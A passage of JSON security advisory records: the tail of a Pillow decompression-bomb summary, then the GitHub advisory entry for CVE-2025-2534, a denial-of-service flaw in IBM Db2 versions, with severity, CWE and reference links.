  "summary": "Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-07T19:15:46Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
  "id": "GHSA-pp8v-2qr4-vr68",
  "modified": "2025-11-07T21:31:20Z",
  "published": "2025-11-07T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2534"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7250472"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}